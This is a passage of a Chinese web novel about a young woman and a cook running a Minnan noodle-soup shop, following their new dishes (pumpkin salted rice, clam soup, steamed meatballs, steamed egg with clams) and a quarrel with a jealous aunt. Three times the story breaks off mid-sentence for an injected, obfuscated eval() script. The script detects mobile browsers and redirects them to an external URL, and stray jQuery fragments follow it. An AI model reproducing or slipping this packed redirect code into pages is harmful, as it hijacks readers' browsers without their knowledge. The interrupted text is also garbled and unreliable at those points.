吃完饭后，苏月娘还在琢磨这事儿，碗筷也全部丢给许东山去处理，在她起身回后屋的时候，许东山掀眸看她，目光一直追随着她，直到她的背影消失不见。 夏日炎热，水房里常备着清凉的井水供梳洗。 苏月娘冲去身上的黏腻，擦伤许春喜早上给她买的香粉、换上一身才刚做的新衣，舒舒服服地出了水房。 她才刚一出门，便碰上了从房巷里走出来的许东山。 她的长发湿漉漉的，虽用木簪子挽在脑后，水滴却还是不停地从发际、发髻上往下落。 孤男寡女同住一屋檐下，有些时候总会有所不方便，许东山停下脚步低下头，切实地用行动避嫌。 “你……今天不舒服吗？” 苏月娘将换下来的衣裳抱在身前，“啊？我没有不舒服啊……” “那你今天怎么话不多？” 许东山注意到苏月娘今天的异样，心里还担忧她是否是身子不爽利。 苏月娘笑了笑，“我是在想事情……我在想我以后要做点什么？” “你还有什么打算？”听这话，许东山心里咯噔了一下。 他珍惜现在忙碌又有钱赚的日子，他希望月娘面线糊店生意红火、开得长久。 “咱们总不能一直卖面线糊吧？咱们可以试着卖点别的东西！” 许东山愣了下，悄悄松了口气。 “你有什么想法。” 苏月娘摇摇头，“还没想法，正好这事儿告诉你了，你替我好好想一想！” “好。”许东山郑重地点了点头。 他跟苏月娘一样都想这家店好好的，这事儿他一定会好好思考的。 —— 次日，苏月娘早早地被热醒了。 夏日多汗，胭脂容易被汗水弄花，苏月娘咬咬牙舍弃了涂脂抹粉。 许东山已经在厨房里劳作多时了，苏月娘见着他的头一件事便是问他昨天晚上的问题，“许大哥，你想好了吗？” “我一会儿和你去街上看看。”许东山今天效率意外高，天还没完全亮，他就已经快将配料准备好了。 马上要有新打算，苏月娘便没那么面线糊的生意了。 还有几样卖得一般的料还没做，苏月娘索性让许东山别做了，先和她上街买菜去。 …… 这才初夏，人们还没能完全根据昼夜的长短调节作息。 天亮了，街上除了勤劳的摆摊人以外，路人倒没见几个。 “月娘头家！你好久都没这么早出来买菜了！”惠安女们朝苏月娘挥了挥手。 “这段时间忙着卖粽子，总是忙到傍晚才着急忙慌地出门买菜。”苏月娘在盛满海鲜的箩筐前蹲下，“最近卖得最好的是什么？” “最近天气热了，大家都爱买点壳类去煮汤！花蛤、油蛤、文蛤、蛏子卖得都不错，你看看要哪样？” “既然大家都爱清淡的汤汤水水，不如我们买点花蛤回去煮丝瓜花蛤汤！” 许东山点了点头，“有了汤是不是要再添一样主食？” “当然，主食和汤可以中午上！正好解决了面线糊吃不饱的问题！” 花蛤不是什么太值钱的东西，苏月娘一口气挑了两斤冒头滋水的花蛤。 惠安女将那两斤花蛤沥干水，倒在了许东山臂弯吊着的竹篮里。 两个人继续往前走，途经菜摊，许东山停下脚步，叫住了走在前头的苏月娘。 “过来看看这南瓜（1）能不能做咸饭。” 苏月娘眼睛一亮，随着许东山朝着那个菜摊走去。 若是要售卖主食，咸饭必定是首选，闽南人的咸饭有许多种，常见的有包菜咸饭、芋头咸饭、芥菜咸饭、南瓜咸饭、菜头咸饭。 包菜咸饭是普通人家最常见的一种，卖这个销路可能好到哪儿去。 芋头、菜头不当季不好吃，芥菜又不被相当一部分人喜欢，所以选择南瓜来做咸饭应当是最恰当的。 “南瓜怎么卖？” “你可太有眼光了！这条街上现在就我一个人卖金瓜，这金瓜（2）包软包甜！一斤卖你六文钱！” “六文钱？有点贵啊……”苏月娘翻了翻那颗长得跟不掐腰的葫芦似的南瓜，到底还是心动占据上风，“那颗最大的便宜点卖给我吧！” —— 早上依旧售卖面线糊，给客人们上面线糊时，苏月娘不忘给客人们打报自家今天中午要上的南瓜咸饭和丝瓜花蛤肉片汤。 现在街上还不太能买到南瓜，就算能买到，南瓜的价格也并不便宜，条件一般的人家总要多加斟酌才会购买。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15169739|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有几个客人还询问了南瓜咸饭的定价，摆明了就是对南瓜咸饭有意思。 …… 南瓜不便宜，许东山用菜刀给南瓜砍段削皮切块的时候小心翼翼的，生怕浪费了这“又金又贵”的南瓜。 南瓜煮熟质地绵软，锅里水分一多，南瓜就容易过于软烂甚至化在锅里，为了保证南瓜块的口感与形状，许东山将南瓜切成大块。 南瓜咸饭和包菜咸饭的做法基本一样。 半斤多的五花肉片入锅将澄黄香淳的猪油煸出，待五花肉片大小萎缩到原来的一半并且表皮变得酥脆，许东山盛出一半猪油，丢入一把葱头炒香后再倒入香菇、虾米以及南瓜翻炒均匀。 咸饭的配料丰俭由人，舍得放料的人还会放些干贝、鱿鱼，但不舍放料的人可能也就单单放南瓜一种。 开店是为了赚钱，成本高售价高，东西自然卖不出去，若是一味压低成本又会影响食物的观感，这样亦是自断财路。 所以许东山和苏月娘商量过后，决定折中只放香菇虾米两种，这样既不会让成本太高，又不会让食物看起来太没食欲。 香菇片轻微变色、裹满锃亮的猪油，便可以倒入提前泡好的米、放入适当调味继续翻炒至水分全部蒸发。 铺平饭米与料，加入正好能够淹没米面的清水后，盖上锅盖焖煮至熟透撒上葱花即可。 …… 中午饭点到来，苏月娘在客人们还没开口点面线糊之前，抢先介绍道： “今天我家还卖南瓜咸饭和丝瓜花蛤肉片汤！要不要尝尝？” “南瓜咸饭四文钱让您吃到饱为止！丝瓜花蛤肉片汤一碗三文钱！” 面线糊里放有胡椒，胡椒味辛辣，并不怎适宜夏日，七文钱的价格能够吃饱还荤素齐全、配有汤水，客人们自然是更倾向点南瓜咸饭与丝瓜花蛤肉片汤。 “四份饭和汤！”苏月娘收了钱后扭头朝着厨房大喊。 早已经开始盛咸饭和汤的许东山一接到指令立即往外端饭与汤。 “东西才刚出锅，您几位小心烫！要是饭不够吃喊我一声，我给您再添几勺！” 南瓜咸饭和丝瓜花蛤肉片汤到手的客人们迫不及待用调羹翻了翻，咸饭里南瓜金黄软糯分量不少，油亮的米饭粒粒分明，时不时冒出来的香菇虾米适宜配色也适宜配味。 “这个东瓜（3）咸饭真甜！这么大块，吃得真过瘾！” “这个汤分量也足！肉片给了好多呢！” 见头一波客人的反响还不错，苏月娘与许东山悄悄地离开了。 咸饭在客人们进门的前一刻才熟，苏月娘还没品味过这个南瓜咸饭的滋味。 趁着没人上门，她取了个小碗给自己盛了一勺仔细品味一番。 黄金似的南瓜又甜又软，它的香甜仿若是渗入米粒中，与猪油香不分你我，细细品来还能尝出香菇与虾米的咸鲜。 苏月娘刚想品味第二口，外头的客人一大嗓子喊停了她。 “月娘头家！我也要南瓜咸饭和汤！” 许东山看着苏月娘那勺快要入口的咸饭，对她摆了摆手，“你吃饱了再出去。” 苏月娘冲许东山灿烂一笑，那笑还挺晃眼，许东山看一眼过后，匆匆低眉垂眸。 18. 蒸肉丸 南瓜咸饭受欢迎程度还是超乎苏月娘的想象。 那一大锅满满当当的南瓜咸饭中午就卖空了，若不是她悄悄给许东山盛了一碗，不然等客人都走了，许东山还得自起锅灶。 许东山端着浅口大海碗埋头苦吃的时候，苏月娘点了点厨房里剩下的食材后，立即拎了一串钱冲到街上去买南瓜、丝瓜、肉。 今天早上她怕客人不买账，只准备了一餐的食材，为了晚饭还能再赚一笔，她可得赶在街上的商贩把东西卖光之前再囤买一些。 丝瓜和肉倒是好买，就是南瓜这东西才堪堪当季，卖的人并不多，还是要早下手为强。 苏月娘提着丝瓜与肉在街上找了一圈才找着了坐在树下和人话仙的菜贩。 “剩下的南瓜都卖给我！接下来半个月，你能每天卖我十斤南瓜吗？” 菜贩将南瓜砍成几段分别用杆秤称重量，“行行行……不够的话我问我厝边买一点！看你买的南瓜不少，还要其他的吗？送你一点？” 有明晃晃的便宜不占可不是苏月娘的风格，她蹲在菜摊边上，挑拣了一番。 “除了菜头，其他菜都蔫了……我就要这两条菜头吧！”苏月娘挑起最长最胖的两条菜头，抖了抖上面挂着的泥土，见菜头外皮白中透着淡淡的黄，略有根须，便将其收入囊中。 菜贩将南瓜放入苏月娘的提篮中，“算你有眼光，别人都嫌我这菜头不当季不要，其实我这菜头一点都不比冬天的差！” —— 大热天的，苏月娘一人吭哧吭哧地提着七八斤的食材往回走。 看着头顶上的大太阳，被晒得满头大汗两颊发红的苏月娘打心底后悔方才出门前没有戴一顶草帽。 好不容易走到了店面所在的路口，没成想迎面撞上了挑水归来的许二福与李金花。 先前因为水井的事情，苏月娘与李金花闹得很是不愉快，现下见到，苏月娘连装都懒得装，当没看到对方似的，提着沉重的菜篮快步往里走。 “诶诶诶……苏月娘你给我站着！” 李金花都喊了，苏月娘也就停下了脚步回头。 她倒想看看李金花有什么事找她。 “听说你卖南瓜咸饭和丝瓜汤了？” “嗯，怎么了？你也想卖啊？”苏月娘心里料想李金花又要故技重施。 “开面线糊店的卖什么咸饭汤？真是砸了许氏面线糊的招牌！” 苏月娘忍不住嗤笑一声，“那你学我卖肉粽又算什么？现在许氏面线糊已经没了，月娘面线糊店里卖什么，我这个头家说了算！” 李金花被呛得脸更红了。 方才她看月娘面线糊店客人络绎不绝，生意比平日里红火，仔细一打听她才知道月娘面线糊店今天不然卖起了咸饭和丝瓜汤。 这可让她眼红得跳脚！ “他们还不都是冲着阿山的手艺去的！没了阿山你什么都不是！你信不信我把阿山喊去我那里帮忙？” 李金花光顾着气急败坏了，越走越前，扁担只剩下一小截搭在她的肩头，被迫承担更多重量的许二福肩膀被压得生疼。 苏月娘听这话，一时间笑得直不起腰。 “我没来的时候他那店都自己给干倒闭了，如果不是我，他那手艺就废在那儿了！” 李金花气汹汹的表情在听完这话当即变成了得意的笑。 “阿山你听苏月娘说的这话！我看你还是到我和你二叔这里来干好了！我和你二叔可不会和她一样嫌弃你没本事！” 苏月娘心头一惊，这种话被许东山听见那还得了！ 还没等她回过头，她的双手忽然一轻—— 是许东山一手接过了她提着的菜篮。 高高大大的身体挡在她的身前，为她挡去了李金花也遮去了烈日。 “二婶不要乱操心了。” 李金花还想说什么时，许东山已经转过身，看着身后面露不安的苏月娘。 “回去吧。” “哦。”苏月娘埋头往店里走。 李金花看着许东山和苏月娘进了门，嘴里嘟囔了几句“塞……”（1） 许二福呲牙咧嘴的，“别骂了，肩麻了！” …… 许东山提着沉重的篮子搁在菜板边，双手捧出堆在上方的几块南瓜放在菜板上。 苏月娘鹌鹑似的站在他边上，与他离了一圈距离。 “许大哥，我刚刚说的话你别往心里去……你也知道的，我一直很看好你，我绝对没有觉得你没本事！” 手起刀落，一片又一片南瓜皮掉落下来，切好一块南瓜，许东山用刀堆起所有南瓜皮，用手捧起。 “去拿个桶来接皮。” 苏月娘赶忙去拿桶。 南瓜皮丢入桶中后，许东山又取了一块南瓜切皮，苏月娘见他光干活不说话，着急得都快哭出来了。 “许大哥你别生气呀……” 身旁的头家声音越来越小，许东山扭头一看，她两颊通红，唇紧紧抿起来，一对漂亮的细眉蹙成了八字。 这模样跟许春喜要哭之前一模一样。 “我没跟你生气……况且，你说的是事实，现在还能在这里做事，我已经知足了。” 苏月娘眨了眨眼，“真的？” “真的。” “许大哥你人真好！不仅饭做得好吃，心胸还宽广！我保证以后要是有钱了，一定给你涨工钱！” 许东山被苏月娘夸得耳根发红，他连忙往边上瞥了一眼。 “那条菜头是用来做什么的？” 苏月娘，“买南瓜送的，晚上用菜头做点清淡的吧！” —— 今天花蛤和丝瓜买得多，两大锅南瓜咸饭都卖完了，还剩下小半锅花蛤丝瓜肉片汤。 收拾客人的碗筷时，苏月娘特意嘱咐，“那锅汤我们留着喝，但不要往里加菜头和米粉！” 许东山握着白白胖胖的菜头一边削皮，一边思索做什么好。 既然苏月娘摆明了不吃米粉，那干脆用这两条水灵灵的菜头做点能当主食的东西得了。 比如蒸肉丸。 抡了一天的大锅大勺，许东山已经没有那么多气力再用菜刀将菜头切成细丝了。 这个时候，藏在角落里的搓丝刨子就显得很好用，来回擦几下，两条菜头就成了一大盆菜头丝，省时又省力。 加入盐杀一杀菜头中的苦后，许东山抓紧时间将马蹄、瘦肉、红葱头切碎。 菜头丝杀去苦水后变得很是柔软，反复漂洗两遍后，许东山将马蹄瘦肉红葱头碎、葱花倒入菜头丝中，再撒上适量盐、极少许酱油搅拌均匀，腌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15185381|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 制至入味。 许东山闲着也是闲着，他去堂屋里逛了一圈，桌椅已经被排放整齐，桌面的饭粒、汤水也消失无踪。 苏月娘还在院子里洗碗，今天生意太好，她的活可不是一般少。 看许东山走到院子里来，苏月娘用胳膊抹去脸颊上喷溅到的水渍。 “今天晚上吃什么？” 许东山撸起袖子，另装一盆水将洗过一边的碗一一过水，“蒸肉丸。” “上次吃地瓜粉团的时候，我就在想什么时候做一顿蒸肉丸来尝尝！” “可惜没有剩米饭，肉丸里面加点米饭会更好吃。” 两个人一起干活速度明显快了许多，一刻多钟过去，碗筷调羹全然洗净倒趴在水池上。 灶头那盆肉丸馅已经腌制完成，许东山翻出昨日林大松和许春喜送来的农家地瓜粉，大方地舀了六大勺倒入盆里。 “你的手还皱着就别用手拌了！”在许东山即将将手伸进盆里时，苏月娘及时递来一把饭勺。 到底是小姑娘心细，还注意到许东山的十指指腹因洗碗还皱着。 趁着许东山还在拌肉丸，苏月娘赶紧点柴烧水，找出最大的甑箅抹上一层花生油后架在锅里。 两人配合得当，甑箅一架好，许东山将拌好的肉馅挪到灶头正中，左手抓起一大把肉丸泥，用力一挤，肉丸泥从虎口处挤出一截儿后快速收紧虎口，用饭勺接住挤出的肉丸放到甑箅上。 这盆肉丸泥拌得十分扎实，放置到甑箅上也不见变形，想必蒸出锅后也不会有多大变化，许东山干脆将肉丸放得紧凑些，如此一来，那一大盆肉丸泥正正好能够放在一层甑箅上。 …… 约莫一刻钟之后，蒸肉丸与重新加热过的丝瓜花蛤肉片汤一齐出了锅。 一颗颗圆滚滚的肉丸站立在甑箅上呼呼往外冒白色热汽，表面崎岖不平的淡黄色地瓜蒸团中夹杂着菜头丝与被切得细碎的其他食材，虽说许东山说加上米饭会更好吃，但不加米饭的蒸肉丸却更清澈好看。 肉丸吹了会儿风后，苏月娘才用筷子夹起一颗肉丸准备送进口中。 夹起的一瞬，苏月娘借着筷子感受到了肉丸的弹性。 趁着许东山不注意，苏月娘悄悄用指头捏了捏肉丸。 晾了一会儿的肉丸表面已经没了水珠，手指头捏下去有些粘，但松开却不会黏手。 手感都如此好了，口感应当会更好。 怕许东山发现自己的幼稚行径，苏月娘缩回手，张大嘴巴，将整颗蒸肉丸丢入口中。 舌头触及粉羹的滑嫩，牙齿感受马蹄碎菜头丝的脆与肉末的嚼劲，肉丸嚼碎，口腔中萦绕着地瓜的清香、荤香以及素香。 苏月娘一吃便停不下来了。 吃到第六七颗的时候，容易噎嗓子都地瓜粉终于惩罚了吃得着急的苏月娘。 苏月娘被噎得说不出话来，只好拍着许东山的胳膊让他将勺子递了。 许东山马上将勺子递过去，满面担忧地看她喝过三大口汤后别过头用力咳嗽。 “慢点吃，我不跟你抢。”若是对面的人是许春喜，许东山可能就皱眉骂她了。 苏月娘捧着心口，小声嘟囔，“哪是怕你抢……都怪你做得太好吃了。” 许东山低头继续吃肉丸，眼里多了些笑意。 19. 文蛤蒸蛋 月娘面线糊店的南瓜咸饭很快在凤池镇这个说大不大，说小也不小的地方出了名。 在南瓜还没大批量从田里采摘起来售卖的那半个月里，月娘面线糊店的生意因南瓜咸饭变得比往日红火，面线糊一时间沦为了陪衬。 不过，在随着卖南瓜的人越来越多，南瓜的价格也不断降低，半个月过去，凤池镇上一些售卖吃食的店铺也学着月娘面线糊店推出南瓜咸饭和搭配咸饭的热汤。 这样一来，月娘面线糊店的生意逐渐冷却下来，被客人们冷落多日的面线糊再度成为店里的主角。 好不容易能歇几日的许东山坐在厨房里看着外头比往日少了一半的客人，急得上了火。 而苏月娘还是如往常一般该吃吃该喝喝，一点看不出着急的模样。 许东山憋了两天，终于忍不住在某日傍晚吃饭时开口和苏月娘提了这件事。 “现在凤池卖吃的都学我们卖南瓜咸饭，我们的客人都被抢走了一半！” 苏月娘一边嗦着白菜鱿鱼米粉，一边掀眸看许东山。 眼前被捂白的厨子嘴角冒了个明显的包，也不知道这今天他悄悄地急成什么样。 苏月娘会心一笑，她将自己的碗推到桌子中央。 “喏，你看，今天的晚饭我让你做的是白菜鱿鱼米粉汤！” 许东山面露不解，他不知苏月娘是何意。 苏月娘将碗收回到自己面前，又道：“今天锅里剩的南瓜咸饭和丝瓜花蛤肉片汤明明够咱们两个吃，但我还是让你煮了米粉汤，这说明什么？” 许东山皱眉，“说明……你吃腻了？” 犹记得南瓜咸饭刚上的那几天苏月娘对南瓜咸饭很是钟爱，恨不得中饭晚饭都吃南瓜咸饭。 但苏月娘对南瓜咸饭的热爱仅仅维持了不到五天。 “对啊！总是吃一样的东西都会腻啊！我们店做的多是熟客生意，只卖面线糊的时候，客人们不也是三两天来一回？ 咱们的咸饭卖了半个月了，就算许大哥你的手艺再好，但客人们总会吃腻味，他们换个地方吃也是情有可原的…… 况且咱们都卖半个月了，钱也挣够了，留给其他店挣的可不多了！” 苏月娘言之有理，但许东山还是忍不住问道：“那咱们还要卖点别的东西吗？” “再说吧！有想到就卖，没想到就再等等……反正天气这么热，大家对锅里出来的东西也不是那么热情。” 许东山见苏月娘半点不慌，便咽下了催她的话，毕竟在做生意这方面，他可不及她一星半点。 —— 又是一日始，今日店里迎来了许久没来的小帮工阿生。 月娘面线糊店刚开门，红姑就牵着打瞌睡的阿生上了门。 “有人给我介绍了个去东街大户人家洗衫裤的活，那边的大管家说了，不允许带小孩子过去，能不能辛苦你们两个帮我看着阿生，我那活只要做三天，下午就能回来接他走！” 店是苏月娘的，许东山没有替她做决定。 苏月娘对阿生还是挺喜爱的，对于红姑的请求，她毫不犹豫地答应下来了。 “您就放心去干活吧，阿生我看着！”苏月娘弯下腰，对眼睛睁不太开的阿生伸出手。 阿生迷迷糊糊地看见苏月娘的手朝着自己伸过来，连忙咧着嘴，牵上苏月娘的手，靠在苏月娘胳膊上仰头对她笑。 红姑再三嘱咐阿生要听话之后，才一步三回头地离开了。 …… 阿生在吃了半碗料满满的面线糊后，也彻底醒过来了。 一吃完面线糊，阿生乖巧地捧着空碗去到院子里将碗泡在水里，而后跑到厨房外面，等着帮苏月娘送面线糊。 面线糊滚烫又容易往外撒，苏月娘可不敢让阿生帮忙端碗，但她也不愿意打击小孩子的积极性。 “面线糊盛太满了容易把你的手烫坏，这样，你去厨房问问你干爹还有没有事情让你做。” 阿生扒着厨房门往里探头，眼巴巴地看着高大如山的干爹。 “干爹，我也想干活！” 许东山分了点眼神给阿生，“你去洗洗手，然后擦干净，去把面线掰碎。” 阿生领了活，马上去洗手掰面线。 苏月娘倚靠在门边看着站在灶边掰面线的阿生，“许大哥，你小时候也这样吗？” 许东山，“哪样？” “跟阿生一样帮你爹掰面线？” 许东山回头看看认真干活的阿生，好似真的从阿生身上看到自己儿时的影子。 “嗯……记事起我就已经在帮着家里干这些事了，三岁掰面线撕巴浪鱼，五岁能够到灶台了就学煮面线糊。” 听此，苏月娘若有所思地掰了掰手指头。 “许大哥，你明年就二十五岁了对吧？” 许东山点了下头。 “五岁煮面线糊……你的手艺都跟我岁数一样大了！难怪咱们的面线糊卖得这么好！” 许东山对自己的年龄没什么实感，但苏月娘这么一说，他忽然感觉，自己岁数当真是不小了。 —— 今天阿生过来做客，许东山特意给了苏月娘点钱，让苏月娘领着阿生上街买点中午吃的东西。 小孩子挑吃的，左右是除了糕点零嘴，旁的一律不看。 既然如此，苏月娘只好自己拿主意，将食材买齐全了之后，还剩下一点钱，苏月娘便让阿生去糕点铺子挑一样糕点做饭后的零嘴。 一大一小一回到店里，许东山便着手开始准备起了午饭。 阿生难得过来一次，苏月娘自然会用心款待他，菜篮子里荤素兼备，一看就知道花了不少钱。 为了不让阿生饿肚子，苏月娘也跟着一起准备中饭。 可她还要兼顾招呼客人、打面线糊的事情，自然只能选择简单的事情做。 刚刚蟳埔女还剩下十来颗文蛤，苏月娘见数量不多了，便大方地包圆了。 文蛤个头比花蛤大上几圈，颜色花纹也不如花蛤那般复杂多变，多盛淡黄灰白的弧形花纹，文蛤壳厚肉肥，价格稍贵，平常人家多用其炖煮补汤。 思来想去，苏月娘决定做一道好看又好吃的“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15191364|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文蛤蒸蛋”。 用油盐水处理去文蛤含着的泥沙后，苏月娘将文蛤与姜片丢入沸水锅中煮至文蛤的贝壳大张坦露出奶白色的蛤肉。 捞出煮开的文蛤和姜片，将文蛤汤倒入碗中放凉。 许春喜和林大松月中回来的时候，带来了林家散养在果林里的母鸡下的蛋，这蛋比外头卖的蛋个头大一圈，许东山一直都舍不得吃。 今日，苏月娘就取四颗来蒸蛋羹。 四颗鸡蛋打入碗中，快速搅打成均匀的蛋液后，等待文蛤汤凉透，苏月娘将一半的文蛤汤倒入蛋液中继续搅打。 毕竟汤水与蛋液无法完美融合，搅打过程中，蛋羹必不可免地冒出了一圈不算很绵密的浮沫。 蛋羹液打得差不多之后，外头还没客人上门，苏月娘也就追求完美地将大碗稍微倾斜，仔仔细细地用调羹撇去了蛋羹液表面的浮沫。 最后将壳口大开的文蛤蛤肉朝天安放在蛋羹液中，就能够放在甑箅上焖蒸。 忙完这一茬，客人上了门，苏月娘连忙外出招呼。 没想到阿生这小子动作更快。 “阿公你吃什么！” “呦！什么时候还来了个小帮工！你去跟月娘头家说我要吃南瓜咸饭配面线糊加醋肉大肠鸡卷！” “好嘞！”阿生快步跑到苏月娘跟前，跟个小兵一般和苏月娘汇报道：“月娘姑姑，那个阿公说他要吃南瓜咸饭和加了醋肉大肠鸡卷的面线糊！” 苏月娘捏了捏阿生的脸颊，“你去找那个阿公收十文钱，收了钱记得和人家说谢谢！” “遵命！” …… 许东山那边双锅齐下，焯虾炒菜煮汤，才一刻多钟，就喊苏月娘和阿生开饭了。 今天阿生点名要吃南瓜咸饭，许东山也就没特地另起一锅做别的主食。 阿生第一口吃的是金黄的南瓜，南瓜甜滋滋的，阿生眯着眼睛连连乱夸，“干爹做的南瓜咸饭和月娘姑姑买的糕点一样好吃！” 许东山知道阿生夸的只是合他口味的南瓜，便没多说什么，只是将白灼虾和文蛤蒸蛋推到阿生面前。 这孩子刚刚在厨房里待了一会儿，知道文蛤蒸蛋是苏月娘做的，既然刚刚夸过许东山，所以阿生很是雨露均沾地先吃文蛤蒸蛋。 文蛤蒸蛋出锅之后，许东山放了些葱花、酱油和香油，黄色的蛋羹披上一层浅浅的油亮焦色，开口的文蛤严丝合缝地仰卧在蛋羹中，与豆腐插海蛏有着相似的美感。 阿生挖了勺蛋羹放进嘴里品尝后，又在许东山的帮助下，吃上一口文蛤肉。 苏月娘笑着问道：“怎么样？好吃吗？” 阿生小大人一样郑重点头，“月娘姑姑做的蒸鸡蛋很好吃！我奶奶做的都是有洞的，但月娘姑姑做的却是滑滑的，味道还香！” 小孩子形容不出蛋羹的嫩滑与鲜香，只能用简单的话语表达对这道菜的喜爱。 “喜欢吃的话，明天还给你做！” 这顿饭菜色香味俱全，平时有些挑食的阿生难得吃得肚子圆溜溜的，连饭前心心念念的糕点都忘记了。 20. 石花膏 小小一家店终归不够好玩，阿生在无事可做之后在苏月娘的允许下到街上喊了几个玩伴聚在月娘小吃店门口玩耍。 午后没什么客人，许东山洗完了碗便同苏月娘一起坐在堂屋里盯着门口的那几个小孩看。 “诶……问你件事……”苏月娘给许东山倒了一杯热茶。 “你说。” “阿生家里就只剩下红姑伯母了吗？他爹娘呢？”从前苏月娘就好奇这个问题，可她一直忍到和红姑阿生熟了之后才问出口。 许东山大手握着小小的品茗杯，一口将杯中茶饮下，滚烫的茶水一路从口腔烫到肚子里，许东山眉头紧锁，待灼烧感轻了些才回答苏月娘的问题。 “阿生的太公和我阿公是亲兄弟，阿生也算是我堂侄……当年阿生的娘月子还没出就得病没了，阿生他爹在阿生半岁的时候和我一起上了战场，在最后一次见我堂哥的时候，他还开玩笑说要是他回不去了，让我认阿生当干儿子……” 说到这儿，许东山沉默地低下头。 阿生的爹说完那话后，死在了战场上，连尸身都没能带回泉州。 苏月娘听此，满心难受。 她旁的也做不了，只能再给许东山添茶。 许东山大概是将苏月娘当成了和许春喜一样的妹妹，便难得多说了一些： “当时为了给我爹治病，家里的积蓄都花光了，在别人都冷眼看着春喜一个人为了生计奔波的时候，是红姑伯母咬着牙给我家搭了把手……” 救急的恩情如山重，许东山这才会对红姑和阿生如此关照。 再反观隔壁的许二福和李金花，分明是许东山的亲二叔二婶，许东山对他们的态度却是不温不淡的，想必在许父和许春喜最无助的时刻，他们夫妻二人选择了冷眼旁观。 苏月娘也经历过父亲病死，可她却没有许春喜那般幸运，还能有人搭一把手。 她身边的堂亲总是以她只是个女子为缘由，抢走了她家的钱和地…… 屋里的两个大人各自神伤之时，玩得满头大汗的阿生跑了回来。 “月娘姑姑，我渴了……” 苏月娘中断了神伤，马上站了起来，“外头日头这么烈，你去喊你的玩伴一起进来喝水吧！” 对于小孩子来说，茶水味道苦涩，没有多少人愿意喝，所以苏月娘和许东山回厨房准备点别的招待这些孩子。 许东山找了六个杯子，倒上冷却过后的水，正打算端出去，苏月娘制止住了他。 “难得有小客人过来，弄点糖水得了！” 于是，许东山看着他大方的头家往水里加了白糖，甚至还用碟子盛了几块被敲成小块的□□糖搁在他托着的托盘中。 水送出去时，阿生已经领着他另外五个玩伴端端正正地坐在堂屋正中的那块桌子边。 阿生的玩伴们没怎么见过许东山，他们看到额角有条刀疤的许东山，心里有些犯怵。 阿生好像看出了玩伴们的胆怯，连忙道：“这是我干爹！我干爹是镇上做东西最好吃的人！” 苏月娘在阿生边上坐下，从盘里取出水杯分给孩子们。 “你们东山伯伯还给你们准备冰糖了！都别客气！” 孩子们都爱吃糖，一听糖是许东山准备的，大家看许东山的眼神都变了。 许东山看了苏月娘一眼，苏月娘喊他坐下，“许大哥你别干站着，坐啊！” 许东山只好浑身不自在地在空着的那边坐下了。 看着一桌叽叽喳喳的小萝卜头，这感觉还挺新奇的。 桌上也就热情好客的苏月娘在和孩子们聊天，许东山百无聊赖地左看看右看看，最后目光落在苏月娘和阿生身上。 同时，他还在心里感慨，世上怎会有苏月娘这般跟谁都能聊得来的人。 有个看起来比阿生大的孩子喝了汤水吃了糖块后，心里最后那一点点害怕也都消散了。 他盯着许东山看个不停。 许东山被盯得难受，也只好看他。 大眼瞪小眼，小孩忍不住了： “东山伯伯，我问你个问题。” “说。” 小孩咽了咽口水，大胆发言，“为什么你只看月娘姑姑，她是你媳妇吗？” 许东山，“……不是。” 虽然孤男寡女每日形影不离地在一起干活，总会传出一些不好听的话来，但许东山听了还是觉得不舒服。 他一个大男人听了倒不会少块肉，但是苏月娘一个小姑娘还没说亲，听到这话难免不会被吓到。 许东山补充道：“这种话不要出去乱说。” 把他头家吓跑了，谁带他挣钱？ 后面那句话语气有些重，好不容易胆子大点的孩子都被吓得不敢说话了。 苏月娘笑着安抚道：“你们都不理他，他也就只能眼巴巴地看着我和阿生说话，所以啊，你们多理理他，别让他这么孤单！” 小孩们你看看我，我看看你，最后在阿生的带动下，开始你一言我一语地和许东山说起了话。 许东山哪哪都好，就是不太会应付人，大人他都应付不来了，更何况一群小孩？ 于是，他被迫硬着头皮给那些小孩回话，苏月娘看他如此手足无措，乐得差点笑出声。 后来，在大户人家里干完活的红姑来接走阿生，孩子们这才散了。 许东山累得整个人透着一股生无可恋的气息。 苏月娘忙倒水犒劳他，“辛苦许大哥了，许大哥多喝点水！” 许东山摆摆手，“以后他们再来，你自己招待吧。” “好吧……下回他们再来你就躲到屋里去睡觉！”苏月娘支着下巴，看着孩子们喝剩下的糖水，脑子里浮现出了一样闽南人夏日常食用的一道甜食，“天这么热，大家都不爱喝热汤，你说我们卖点凉的如何？” 说起卖新菜，许东山精神了一些。 “说来听听。” “咱们可以卖石花膏！这两天我去街上买菜的时候，都没看过你们这儿有挑担卖石花膏的！” 许东山略一思索，“石花膏不是什么很值钱的东西，我们卖石花膏可能只能赚上一点辛苦钱。” 